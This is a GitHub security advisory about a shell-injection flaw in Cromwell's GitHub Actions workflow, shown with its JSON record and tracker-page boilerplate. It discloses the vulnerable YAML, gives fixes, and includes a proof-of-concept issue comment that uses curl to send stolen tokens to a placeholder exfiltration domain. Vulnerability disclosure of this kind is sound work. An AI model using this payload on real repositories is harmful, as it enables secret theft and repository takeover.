GHSA-PHF6-HM3H-X8QP

Vulnerability from github – Published: 2025-05-28 14:54 – Updated: 2025-05-28 14:55
VLAI
Summary
Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`
Details

Summary

Using Issue_comment on .github/workflows/scalafmt-fix.yml an attacker can inject malicious code using github.event.comment.body. By exploiting the vulnerability, it is possible to exfiltrate high privileged GITHUB_TOKEN which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret: - BROADBOT_GITHUB_TOKEN

Details

The Issue_comment in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.

      - name: Check for ScalaFmt Comment
        id: check-comment
        run: |
          if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then
            echo "::set-output name=comment-triggered::true"
          else
            echo "::set-output name=comment-triggered::false"
          fi

In this case, it is possible to exfiltrate GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secrets.

PoC

To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow .github/workflows/update_pylon_issue.yml.

test" == "test" ]]; then
  & curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null # 

To prove this is possible, we created an issue and we added a comment with the malicious code to extract the GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secret. With the GITHUB_TOKEN extracted we were able to push a new poc tag which has been deleted after a couple of minutes.

Screenshot 2025-05-20 at 23 17 14

Impact

Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo.

GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Models: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

We also checked BROADBOT_GITHUB_TOKEN permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid GITHUB_TOKEN. We suggest to rotate the BROADBOT_GITHUB_TOKEN token asap.

Fix

  • Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:
- name: Dump comment
  run: echo "Comment Body: $BODY"
  env:
    BODY: ${{ github.event.comment.body }}

This safely passes the comment as an environment variable rather than interpolating it in-place.

  • Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:
permissions:
  issues: write

Kindly reported by @darryk10 @AlbertoPellitteri @loresuso

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "broadinstitute/cromwell"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "87"
            },
            {
              "fixed": "90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T14:54:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nUsing `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:\n- `BROADBOT_GITHUB_TOKEN `\n\n### Details\nThe `Issue_comment` in GitHub Actions might be an injection path if the variable isn\u0027t handle as it should. In the following step it\u0027s vulnerable because it directly interpolates untrusted user input into a shell script.\n```\n      - name: Check for ScalaFmt Comment\n        id: check-comment\n        run: |\n          if [[ \"${{ github.event_name }}\" == \"issue_comment\" \u0026\u0026 \"${{ github.event.comment.body }}\" == *\"scalafmt\"* ]]; then\n            echo \"::set-output name=comment-triggered::true\"\n          else\n            echo \"::set-output name=comment-triggered::false\"\n          fi\n```\nIn this case, it is possible to exfiltrate `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secrets. \n\n### PoC\nTo exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow `.github/workflows/update_pylon_issue.yml`.\n```\ntest\" == \"test\" ]]; then\n  \u0026 curl -s -d \"$B64_BLOB\" \"https://$YOUR_EXFIL_DOMAIN/token\" \u003e /dev/null # \n```\nTo prove this is possible, we created an issue and we added a comment with the malicious code to extract the `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secret. With the `GITHUB_TOKEN` extracted we were able to push a new poc tag which has been deleted after a couple of minutes.\n\n\u003cimg width=\"1603\" alt=\"Screenshot 2025-05-20 at 23 17 14\" src=\"https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf\" /\u003e\n\n\n### Impact\nUsually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo. \n```\nGITHUB_TOKEN Permissions\n  Actions: write\n  Attestations: write\n  Checks: write\n  Contents: write\n  Deployments: write\n  Discussions: write\n  Issues: write\n  Metadata: read\n  Models: read\n  Packages: write\n  Pages: write\n  PullRequests: write\n  RepositoryProjects: write\n  SecurityEvents: write\n  Statuses: write\n```\nWe also checked `BROADBOT_GITHUB_TOKEN` permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid `GITHUB_TOKEN`.\nWe suggest to rotate the `BROADBOT_GITHUB_TOKEN` token asap.\n\n### Fix\n\n- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:\n\n```\n- name: Dump comment\n  run: echo \"Comment Body: $BODY\"\n  env:\n    BODY: ${{ github.event.comment.body }}\n```\nThis safely passes the comment as an environment variable rather than interpolating it in-place.\n\n- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it\u0027s specific for issues:\n```\npermissions:\n  issues: write\n```\n\nKindly reported by @darryk10 @AlbertoPellitteri @loresuso",
  "id": "GHSA-phf6-hm3h-x8qp",
  "modified": "2025-05-28T14:55:02Z",
  "published": "2025-05-28T14:54:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/broadinstitute/cromwell/security/advisories/GHSA-phf6-hm3h-x8qp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/broadinstitute/cromwell/commit/dc2c26abd31149e296f73ce4e43a36c0c0317b0d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/broadinstitute/cromwell"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…